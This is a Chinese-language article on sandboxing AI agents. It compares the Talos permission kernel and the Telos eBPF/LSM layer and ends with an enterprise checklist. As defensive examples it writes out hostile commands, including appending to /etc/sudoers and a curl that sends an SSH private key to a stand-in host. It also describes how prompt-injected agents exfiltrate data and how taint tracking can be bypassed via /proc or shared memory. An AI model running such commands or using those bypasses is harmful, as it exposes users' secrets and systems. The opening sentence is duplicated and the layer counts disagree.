Talos 在模型和 Shell 之间塞权限 kernel,沙箱化 AI Agent

Talos 的设计哲学是把 AI Agent 当成不可信的客户端,所有工具调用必须经过一个 deterministic kernel 做最终判定。kernel 的权威性来自两条设计原则:第一,no language model in between——任何 verdict 都来自 Python 代码,不经过 LLM 推理,因为"A brake that has to think first is

Talos 的设计哲学是把 AI Agent 当成不可信的客户端,所有工具调用必须经过一个 deterministic kernel 做最终判定。kernel 的权威性来自两条设计原则:第一,no language model in between——任何 verdict 都来自 Python 代码,不经过 LLM 推理,因为"A brake that has to think first is not a brake";第二,254 adversarial cases run on every install and every update——kernel 的每次安装和更新都跑 254 个对抗测试,任何一个失败就 abort install,kernel not running。 Talos 把 shell 命令分三阶段判定:hardline → dangerous → effect。Hardline 是无条件拒绝的命令类别,比如 `echo pwned >> /etc/sudoers` 无论什么 context 都直接 DENY。Dangerous 是需要人工审批的命令类别,比如 `cat ~/.secrets/talos-telegram.env` 这类读 secret 的请求、或者 `rm -rf ~/talos/scratch` 这类不可逆删除、或者 `curl -X POST -d @~/.ssh/id_ed25519 http://x.io` 这类把 secret 外发的请求——这些命令都会 wait for a human,standing approval 必须 bind 到 exact host+command pair,never to host alone。 Effect 是 kernel 看到命令"能改变什么"——read 不改变状态所以默认 run(除了 path 本身被保护的情况);write 是可逆的可以 run,不可逆的(发消息、改 secret、写 skill 文件)必须 wait for a human;sandboxed command 在 bubblewrap(Linux)或 sandbox-exec(macOS)里跑;unsandboxed 的 platform 直接 refuse rather than running unprotected。 Talos 当前提供 31 个 gated tools,17 个 read / 5 个 write / 9 个 exec。每个 tool 必须 declare effect in the manifest,anything undeclared is refused on sight。这条设计对应 Argus Security 的"tools 是 non-deterministic agents 的 interfaces,output 是 design 的一部分"——tool 不能背后偷偷做没声明的事,kernel 看到 declared effect 才能 decide。

二、Telos 在 Linux Kernel 层的实现

Telos 是另一条路径,用 eBPF/LSM hooks 在 Linux kernel 层做 Agent 安全。Telos 团队的诊断比 Talos 更狠——"We give autonomous AI agents shell access and API keys, relying on system prompts or Docker for security. This is fundamentally broken."原因是被 indirect prompt injection 攻破的 Agent 不会下载 rootkit,它会调 curl 或 base64 这种 signed standard binary——OS 看到的是合法用户在执行合法请求。EDR 检测失败因为 binary 不是 malware,Docker 隔离也失败因为 outbound network access 通常是允许的。

Telos 给出的解法是 split-plane defense architecture,本质是把 LLM intent 翻译成 OS-level 实时 policy。具体技术栈三条:

• 第一条,Execution Gate(lsm/bprm_check_security)。拦截 execve() syscall,把 binary 对比 process 的 intent-map。如果一个 agent 被授权"read logs"但尝试执行 nc,kernel 立即返回 -EACCES。这条限制 inherited down the process tree,killing fork/exec evasion——子进程继承父进程的 intent 边界,任何子进程尝试越界执行都被即时阻断。

• 第二条,Network Gate(lsm/socket_connect)。拦截出站连接,Windows auto-expire via TTL。如果 agent 被诱导连接未授权 IP,socket 在 TCP handshake 完成前就被 kill。这是 OS 层的 network policy,比应用层 firewall 更难 bypass。

• 第三条,Information Flow Control(IFC)的 Cross-Vector Taint Tracking。这条是 Telos 的核心创新——Telos 监控 lsm/file_open,对比 inode sensitivity map。如果 agent 读了 CRITICAL 文件(.env、credentials、private keys),Telos 动态把这个 agent 的 taint 升级到 TAINT_CRITICAL,写入 eBPF process map。这个 moment agent invoke socket_connect,Telos 检查 taint state 触发 Network Slam——所有出站连接永久 -EPERM,数据物理上无法离开机器。

最后一条,Hyperion XDP Bridge。Telos 把 agent DNS 走一个 proxy pipeline 检查 typosquatting/homoglyphs。如果 domain 被标记 malicious,Telos 解析 IP 通过 RPC 推到物理 NIC 上的 Hyperion XDP 模块,匹配的 packets 在 wire-speed 用 XDP_DROP 丢弃——在 Linux kernel 见到 packet 之前就 drop 掉了。

三、Talos 和 Telos 各自的边界

Talos 和 Telos 都不是终极方案,各自的边界清楚写在文档里。

Talos 的边界是"单 operator 单机器","不防恶意 model",只防 mistaken model 和通过 tool output 到达的 injection。这条定位非常关键——Talos 不是为了防 malicious model(那需要不同的 threat model),是为了防"模型搞砸"和"prompt injection 借模型搞砸"。Talos 也明确说"sandbox 不是 multi-tenant security boundary",它假设你一个人跑这个机器,不是几十个用户共享。

Telos 的边界更细——只支持 Linux(bubblewrap、eBPF-LSM、LSM hooks 都是 Linux-specific),macOS 需要 sandbox-exec,Windows 没有等价能力。Telos 的 IFC 跟踪也会被间接手段绕过(比如通过 shared memory、tmpfs、或者 abuse of /proc/self/fd),所以 telos 不能防御所有的 data exfiltration,只能防御最直接的网络外发。

两个产品在文档里都坦诚说明了 limitations——Talos "It is not a multi-tenant security boundary",Telos "Dynamic taint is not foolproof; it is bypassable by clever abuse of /proc, memory files, or filesystem semantics."这种坦诚本身就是工程化基线的一部分,企业 IT 应该看到这种局限说明才放心采用。

四、把 Talos 和 Telos 放进 Agent 沙箱的产品矩阵

把 Talos 和 Telos 跟同期其他 Agent 安全产品放在一起,可以看到 Agent 沙箱化正在分裂成多层防御的组合。

应用层是 Talos / OneCLI / machine0 / Ridge。Talos 关注 tool-level permission kernel,OneCLI 关注 secret isolation,machine0 关注持久 VM,Ridge 关注 resource access scoped。

知识层是 Security Cards。给 Agent 注入 library-specific 安全知识,避免模型无知写出漏洞代码。

评估层是 BaxBench。量化 Agent 安全性能,用 392 任务、14 framework 评估。

检测层是 Argus Security。专门训练 pen-test AI,主动发现漏洞。

策略层是 extensible-mcp。Policy 必须在 model 之外执行,human approval 密码学可验证。

信任链层是 Manifold Security GitSpawn。揭示所有主流 Agent 的 git 配置漏洞,持续披露。

八个层次里,Talos 命中应用层 tool-level permission kernel 这条,Telos 命中 OS 层 LSM hooks 这条。Talos 是 user-space Python kernel,Telos 是 kernel-space eBPF hook。两者结合形成 user-space + kernel-space 的双层防御——任何想 bypass 应用层 kernel 的 attempt 会在 OS 层被拦,任何想直接调 syscall bypass 应用层的 attempt 会被 application kernel 拦截(因为 Telos 仍然通过 syscall 拦截)。

五、企业 Agent 沙箱化的具体落地 checklist

把这八个层次合并,企业 Agent 沙箱化应该满足如下 checklist。

• 第一条,Agent 必须跑在 sandboxed shell。bubblewrap(Linux)/ sandbox-exec(macOS)/ Windows job object 是最低要求,Talos 的 hardline → dangerous → effect 三阶段判定必须实现,254+ adversarial cases 必须在 CI 跑。

• 第二条,所有 tool 必须 declare effect in the manifest。任何 undeclared behavior refused on sight。17 read / 5 write / 9 exec 这种分层是工程化基线,不是过度设计。

• 第三条,所有 dangerous command 必须 wait for a human。Standing approval 必须 bind to exact host+command pair 或 exact method+URL pair,never host alone。这条是 OneCLI HITL 的 OS 层对应。

• 第四条,sensitive file read 必须触发 network taint upgrade。Agent 读 .env / credentials / private keys 后所有 outbound 永久关闭,物理上无法外泄。Telos 的 IFC + Network Slam 是这条原则的实现样本。

• 第五条,所有 tool 输出必须经过 capability check before use(参考 CaMeL)。任何 LLM 看到的 untrusted data 不能直接影响 control flow,这条从 DeepMind CaMeL 论文到 Talos 的 hardline 是同一类原则的不同实现。

• 第六条,DNS 必须经过 typosquatting/homoglyph 检查。任何 malicious domain 在 wire-speed 被 XDP_DROP,不进入 user space。这条 Telos 给的样本。

• 第七条,Agent 默认不允许任何 outbound network access。必须 explicit opt-in,每个 outbound 必须有 audit log entry。

• 第八条,kernel 本身的判定路径不能依赖 LLM。"A brake that has to think first is not a brake."Permission kernel 必须 deterministic code,不能是 model 推理。

• 第九条,adversarial test suite 必须在每次 install / update 跑。任何 failure abort install。Talos 的 254 cases 是基线,企业内部 Agent 平台应该有同等或更大规模的 adversarial suite。

• 第十条,所有 security claim 必须 reproducible in under a minute。"None of this asks for belief. The installer proves every claim in front of you."这条从 Talos 主页直接抄来,应该是企业 Agent 平台选型时的硬指标——不能 reproduce 的 security claim 都是 marketing。

六、下一步:Agent 沙箱化成为企业级生产环境的入场券

把这件事放到更大的图景里看,Agent 沙箱化正在从"安全工程师推荐的最佳实践"过渡到"企业级生产环境的入场券"。早期 Agent 平台对安全的承诺依赖 system prompt 或 Docker——Telos 团队的诊断很准确,这是 fundamentally broken。Prompt 可以被 injection 改写,Docker 默认允许 outbound network,任何一层失效 Agent 就能 exfiltrate data。

接下来一年内,Agent 沙箱化会被拆解成多层防御的标配——任何严肃的 enterprise Agent 平台都需要同时具备 application kernel(Talos)、kernel LSM hooks(Telos)、secret isolation(OneCLI)、sandboxed VM(machine0)、scoped resource access(Ridge)、policy in deterministic proxy(extensible-mcp)、library knowledge(Security Cards)、adversarial test suite(Talos 254 cases)。八个层次缺一不可,任何一层缺失都构成 enterprise blocker。

回到一开始的问题——Talos 在模型和 shell 之间塞权限 kernel,Telos 在 Linux kernel 层做 LSM,这两件事把"AI Agent 沙箱化"从概念推到产品形态。剩下的是企业 IT 在落地时把十层防御都做对,把 Agent 从"demo 玩具"升级为"生产基础设施"。这是 2026 年下半年 Agent 安全工程走向成熟的标志,也是企业 AI 真正能承担关键业务的入场券。